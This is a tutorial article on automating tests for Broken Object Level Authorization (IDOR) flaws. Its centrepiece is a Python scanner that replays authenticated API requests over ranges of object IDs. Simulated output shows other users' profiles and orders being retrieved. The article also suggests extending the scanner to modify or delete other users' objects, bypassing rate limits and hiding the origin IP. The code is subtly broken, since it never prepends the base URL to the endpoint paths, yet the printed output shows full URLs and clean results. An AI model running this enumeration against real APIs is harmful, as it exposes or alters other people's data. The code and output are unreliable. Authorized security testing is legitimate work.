Automating API Security Testing for Broken Object Level Authorization (BOLA) with Python

Automating API Security Testing for Broken Object Level Authorization (BOLA) with Python

Broken Object Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR), remains a critical vulnerability in API security, consistently topping lists like the OWASP API Security Top 10. This flaw allows attackers to manipulate object identifiers in API requests—such as user IDs, order numbers, or transaction IDs—to gain unauthorized access, modification, or deletion of resources they should not be able to interact with. The ability to programmatically identify and exploit BOLA is paramount for pentesters and security engineers. This guide details a practical approach to automating BOLA testing using Python, mirroring a pentester's workflow for maximum efficiency.

Understanding the BOLA Attack Vector

BOLA vulnerabilities stem from insufficient authorization checks at the object level. An API might correctly authenticate a user and verify they have permission to call a specific function (e.g., "get order details"), but it fails to confirm if the *specific object* requested (e.g., order_id=123) actually belongs to or is accessible by the authenticated user.

Consider a typical API endpoint:

GET /api/v1/users/{user_id}/profile

If an authenticated user (say, user_id=101) can modify the {user_id} parameter to 102 and retrieve the profile of another user without explicit authorization checks, a BOLA vulnerability exists. This can lead to sensitive data exposure, horizontal privilege escalation, or even data manipulation/deletion if other HTTP methods (POST, PUT, DELETE) are similarly affected. Indicators of BOLA include receiving a 200 OK response with unauthorized data instead of a 403 Forbidden or 401 Unauthorized error.

Initial Reconnaissance and Target Identification

Before scripting, identifying potential BOLA targets is crucial. This often involves reviewing API documentation (if available) or using an interception proxy (like Burp Suite or OWASP ZAP) to analyze traffic. Look for API endpoints that accept object identifiers in URL paths, query parameters, or JSON request bodies. Common patterns include /users/{id}, /orders/{order_id}, or parameters like "item_id": "XYZ".

For broader reconnaissance and discovering exposed API services that might harbor such endpoints, platforms like Zondex can be invaluable. Its capabilities as a cybersecurity search engine can help identify publicly accessible assets, providing a starting point for deeper investigation into their API interfaces.

Setting Up the Python Environment

Python's requests library is the de facto standard for making HTTP requests, simplifying API interaction. We'll also need the json module for handling API payloads and responses. Install requests:

pip install requests

Authentication is key. APIs often require bearer tokens in `Authorization` headers, cookies, or basic authentication. Python's `requests` library supports various authentication methods, allowing for dynamic inclusion of credentials.

import requests
import json

# Example: Bearer token authentication
AUTH_TOKEN = "YOUR_JWT_TOKEN_HERE"
HEADERS = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json",
    "Accept": "application/json"
}

# Example: Cookie-based authentication (session handles cookies automatically)
session = requests.Session()
# Assuming you've logged in and the session object has the necessary cookies
# session.post("https://api.example.com/login", json={"username": "user", "password": "password"})

During testing, routing traffic through a proxy is often necessary for monitoring, debugging, or integrating with other tools. GProxy, a versatile reverse proxy, could be configured to route your Python script's traffic, allowing for inspection with local tools like Burp Suite or ZAP, or for obfuscating your origin IP during reconnaissance. While GProxy primarily targets gRPC and HTTP reverse proxying, its routing capabilities make it a useful component in a pentester's toolkit for directing and monitoring API calls.

Automating the Attack: The BOLA Scanner Script

The core of automating BOLA testing involves:

  1. Capturing a legitimate request for an object you *are* authorized to access.
  2. Identifying the object identifier within that request.
  3. Generating a list of other potential object identifiers.
  4. Replaying the request with modified identifiers, using the *same* authenticated session.
  5. Analyzing the responses for unauthorized access.

Step 1: Identifying the Base Request

Let's assume we've identified an endpoint /api/v1/orders/{order_id} and have a legitimate order_id (e.g., 1001) for our authenticated user. We'll capture the full request details.

Step 2: Generating Candidate Object IDs

Object IDs can be sequential integers, UUIDs, or even base64-encoded values. Our script needs to account for these variations.

  • **Sequential IDs:** Simple iteration (e.g., 1001 to 1050).
  • **UUIDs:** Generating random UUIDs, or if a pattern is observed, mutating parts of known UUIDs.
  • **Encoded IDs:** Decoding, modifying, and re-encoding.

Step 3: Crafting the Automation Logic

Here's a Python script to automate testing for sequential integer IDs, which are common in many BOLA vulnerabilities. It will iterate through a range of IDs, make authenticated requests, and report potential findings.

import requests
import json
import time

class BOLAScanner:
    def __init__(self, base_url, auth_token, proxy=None):
        self.base_url = base_url
        self.headers = {
            "Authorization": f"Bearer {auth_token}",
            "Content-Type": "application/json",
            "Accept": "application/json"
        }
        self.session = requests.Session()
        self.session.headers.update(self.headers)
        if proxy:
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }
        print(f"[*] Initialized BOLA Scanner for {base_url}")
        if proxy:
            print(f"[*] Using proxy: {proxy}")

    def test_bola_endpoint(self, endpoint_template, legit_id, id_range_start, id_range_end, http_method="GET"):
        print(f"\n[+] Testing endpoint: {endpoint_template} for IDs from {id_range_start} to {id_range_end}")
        vulnerable_ids = []

        # First, fetch our own legitimate object to confirm access and get a baseline
        legit_url = endpoint_template.format(object_id=legit_id)
        print(f"[*] Fetching legitimate object: {legit_url}")
        try:
            legit_response = self.session.request(http_method, legit_url, timeout=5)
            if legit_response.status_code == 200:
                print(f"[+] Successfully fetched own object (ID: {legit_id}). Status: {legit_response.status_code}")
                # Optional: Store legitimate response size/content for comparison
                legit_response_len = len(legit_response.content)
            else:
                print(f"[-] Failed to fetch own object (ID: {legit_id}). Status: {legit_response.status_code}. Cannot establish baseline.")
                return []
        except requests.exceptions.RequestException as e:
            print(f"[-] Error fetching legitimate object: {e}")
            return []

        for current_id in range(id_range_start, id_range_end + 1):
            if current_id == legit_id:
                continue # Skip our own ID, already checked

            target_url = endpoint_template.format(object_id=current_id)
            print(f"    Testing ID: {current_id} -> {target_url}", end="\r")

            try:
                response = self.session.request(http_method, target_url, timeout=5)

                # Look for 200 OK with content (implies successful access to someone else's data)
                # Or 302/301 redirecting to sensitive data
                # Also check for significantly different response lengths if 200 is always returned
                if response.status_code == 200 and len(response.content) > 10: # Assuming minimal valid content size
                    print(f"\n[!!!] POTENTIAL BOLA DETECTED! ID: {current_id}, Status: {response.status_code}")
                    print(f"        Response Content (partial): {response.text[:200]}...")
                    vulnerable_ids.append({"id": current_id, "status": response.status_code, "content_preview": response.text[:200]})
                elif response.status_code == 403 or response.status_code == 401:
                    # Expected behavior for unauthorized access
                    pass
                elif response.status_code == 404:
                    # Object not found (might be secure, or just doesn't exist)
                    pass
                else:
                    # Other status codes might warrant investigation
                    print(f"\n[?] UNEXPECTED STATUS CODE: ID: {current_id}, Status: {response.status_code}")
                    print(f"        Response Content (partial): {response.text[:200]}...")

            except requests.exceptions.Timeout:
                print(f"\n[-] Request to {target_url} timed out.")
            except requests.exceptions.ConnectionError as e:
                print(f"\n[-] Connection error to {target_url}: {e}")
                break # Might indicate proxy issue or server down
            except Exception as e:
                print(f"\n[-] An unexpected error occurred for ID {current_id}: {e}")
            
            time.sleep(0.1) # Be gentle with the target API

        print("\n[+] BOLA testing complete for this endpoint.")
        return vulnerable_ids

    def run_full_scan(self, endpoints_to_test):
        all_vulnerabilities = {}
        for endpoint_data in endpoints_to_test:
            endpoint_template = endpoint_data["template"]
            legit_id = endpoint_data["legit_id"]
            id_start = endpoint_data["id_range_start"]
            id_end = endpoint_data["id_range_end"]
            http_method = endpoint_data.get("method", "GET")

            vulnerabilities = self.test_bola_endpoint(
                endpoint_template, legit_id, id_start, id_end, http_method
            )
            if vulnerabilities:
                all_vulnerabilities[endpoint_template] = vulnerabilities
        
        if all_vulnerabilities:
            print("\n[!!!] Summary of BOLA Vulnerabilities Found:")
            for endpoint, vulns in all_vulnerabilities.items():
                print(f"  Endpoint: {endpoint}")
                for vuln in vulns:
                    print(f"    - ID: {vuln['id']}, Status: {vuln['status']}, Content: {vuln['content_preview']}...")
        else:
            print("\n[+] No BOLA vulnerabilities detected in the specified ranges.")


if __name__ == "__main__":
    # --- CONFIGURATION ---
    TARGET_BASE_URL = "https://api.example.com" # Replace with your target API base URL
    YOUR_AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMDEsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjcyNTI5MDAwfQ.SOME_VALID_JWT_TOKEN_FOR_USER_101" # Replace with a valid JWT or other token
    
    # Optional: If you need to route traffic through a proxy (e.g., Burp Suite)
    # PROXY_URL = "http://127.0.0.1:8080" # For Burp Suite
    PROXY_URL = None # Set to None if no proxy is needed

    # Define endpoints to test:
    # 'template': The URL path with '{object_id}' as a placeholder for the ID
    # 'legit_id': A known ID that YOUR authenticated user should have access to (for baseline)
    # 'id_range_start', 'id_range_end': The range of IDs to test
    # 'method': HTTP method (GET, POST, PUT, DELETE) - defaults to GET
    ENDPOINTS = [
        {
            "template": "/api/v1/users/{object_id}/profile",
            "legit_id": 101,
            "id_range_start": 1,
            "id_range_end": 150,
            "method": "GET"
        },
        {
            "template": "/api/v1/orders/{object_id}",
            "legit_id": 2005,
            "id_range_start": 2000,
            "id_range_end": 2020,
            "method": "GET"
        },
        # Example for a PUT request (requires a payload)
        # For PUT/POST, you'd need to parameterize the payload as well
        # {
        #     "template": "/api/v1/products/{object_id}",
        #     "legit_id": 501,
        #     "id_range_start": 500,
        #     "id_range_end": 510,
        #     "method": "PUT",
        #     "payload_template": {"name": "Updated Name", "price": 99.99} # Need to handle payload dynamically if object_id is in body
        # }
    ]
    # --- END CONFIGURATION ---

    scanner = BOLAScanner(TARGET_BASE_URL, YOUR_AUTH_TOKEN, proxy=PROXY_URL)
    scanner.run_full_scan(ENDPOINTS)

Example Output (Simulated)

[*] Initialized BOLA Scanner for https://api.example.com

[+] Testing endpoint: /api/v1/users/{object_id}/profile for IDs from 1 to 150
[*] Fetching legitimate object: https://api.example.com/api/v1/users/101/profile
[+] Successfully fetched own object (ID: 101). Status: 200
    Testing ID: 150 -> https://api.example.com/api/v1/users/150/profile
[!!!] POTENTIAL BOLA DETECTED! ID: 1, Status: 200
        Response Content (partial): {"id": 1, "username": "admin", "email": "[email protected]", "role": "admin"}...
    Testing ID: 2 -> https://api.example.com/api/v1/users/2/profile
[!!!] POTENTIAL BOLA DETECTED! ID: 2, Status: 200
        Response Content (partial): {"id": 2, "username": "johndoe", "email": "[email protected]", "role": "user"}...
    Testing ID: 3 -> https://api.example.com/api/v1/users/3/profile
[!!!] POTENTIAL BOLA DETECTED! ID: 3, Status: 200
        Response Content (partial): {"id": 3, "username": "janedoe", "email": "[email protected]", "role": "user"}...
... (many 403 or 404 responses)
    Testing ID: 100 -> https://api.example.com/api/v1/users/100/profile
[!!!] POTENTIAL BOLA DETECTED! ID: 100, Status: 200
        Response Content (partial): {"id": 100, "username": "testuser", "email": "[email protected]", "role": "user"}...

[+] BOLA testing complete for this endpoint.

[+] Testing endpoint: /api/v1/orders/{object_id} for IDs from 2000 to 2020
[*] Fetching legitimate object: https://api.example.com/api/v1/orders/2005
[+] Successfully fetched own object (ID: 2005). Status: 200
    Testing ID: 2020 -> https://api.example.com/api/v1/orders/2020
[!!!] POTENTIAL BOLA DETECTED! ID: 2001, Status: 200
        Response Content (partial): {"order_id": 2001, "customer_id": 102, "amount": 120.00, "status": "shipped"}...
    Testing ID: 2002 -> https://api.example.com/api/v1/orders/2002
[!!!] POTENTIAL BOLA DETECTED! ID: 2002, Status: 200
        Response Content (partial): {"order_id": 2002, "customer_id": 103, "amount": 55.50, "status": "pending"}...
    Testing ID: 2003 -> https://api.example.com/api/v1/orders/2003
[-] Request to https://api.example.com/api/v1/orders/2003 timed out.
    Testing ID: 2004 -> https://api.example.com/api/v1/orders/2004
[!] UNEXPECTED STATUS CODE: ID: 2004, Status: 500
        Response Content (partial): {"error": "Internal server error"}...

[+] BOLA testing complete for this endpoint.

[!!!] Summary of BOLA Vulnerabilities Found:
  Endpoint: /api/v1/users/{object_id}/profile
    - ID: 1, Status: 200, Content: {"id": 1, "username": "admin", "email": "[email protected]", "role": "admin"}...
    - ID: 2, Status: 200, Content: {"id": 2, "username": "johndoe", "email": "[email protected]", "role": "user"}...
    - ID: 3, Status: 200, Content: {"id": 3, "username": "janedoe", "email": "[email protected]", "role": "user"}...
    - ID: 100, Status: 200, Content: {"id": 100, "username": "testuser", "email": "[email protected]", "role": "user"}...
  Endpoint: /api/v1/orders/{object_id}
    - ID: 2001, Status: 200, Content: {"order_id": 2001, "customer_id": 102, "amount": 120.00, "status": "shipped"}...
    - ID: 2002, Status: 200, Content: {"order_id": 2002, "customer_id": 103, "amount": 55.50, "status": "pending"}...

Expanding BOLA Testing Scope

The provided script focuses on sequential numeric IDs in the URL path for GET requests. For a comprehensive BOLA assessment, consider these expansions:

  • **Different ID Formats:** Implement logic for UUID generation, base64 decoding/encoding, or hashing if the application uses such schemes for object identifiers.
  • **Query Parameters and JSON Body IDs:** Modify the script to inject IDs into query parameters (e.g., /api/items?id=123) or JSON request bodies (e.g., {"item_id": 123}). This requires more dynamic request construction, especially for POST/PUT/PATCH methods where a payload is sent.
  • **HTTP Methods:** Test POST, PUT, PATCH, and DELETE requests. Attempting to modify or delete another user's object can have severe consequences.
  • **Response Analysis:** Beyond just status codes, analyze response content for ownership indicators, sensitive data, or unexpected structure differences, which might indicate partial BOLA bypasses.
  • **Rate Limiting:** Implement strategies to bypass or manage rate limiting, as aggressive scanning can trigger security defenses or IP bans.
  • **Error Messages:** Observe error messages carefully. Sometimes, an error message for an unauthorized ID might accidentally confirm the existence of the ID, which is valuable information for an attacker.

Automated solutions like Secably can complement custom scripts by providing broader vulnerability scanning across an entire attack surface. While custom Python scripts excel at deep, targeted BOLA testing based on specific API logic, Secably offers continuous monitoring and detection for a wide range of web vulnerabilities, allowing pentesters to focus on complex, logic-based flaws like BOLA once initial reconnaissance and general scans are complete.

Refining the Code for POST/PUT/PATCH

If testing POST, PUT, or PATCH requests, the object ID might be in the request body. The script would need to accept a `payload_template` and dynamically insert the `object_id` into it:

# Inside test_bola_endpoint method, when constructing the request:
if http_method in ["POST", "PUT", "PATCH"]:
    request_payload = endpoint_data.get("payload_template", {}).copy()
    # Assuming object_id should be in the 'id' field of the JSON body
    if "id" in request_payload:
        request_payload["id"] = current_id
    elif "order_id" in request_payload: # Adapt as per actual API payload structure
        request_payload["order_id"] = current_id
    
    response = self.session.request(http_method, target_url, json=request_payload, timeout=5)
else:
    response = self.session.request(http_method, target_url, timeout=5)

This approach allows for flexible and efficient testing of BOLA across different API structures and HTTP methods, significantly accelerating the identification of these critical authorization flaws.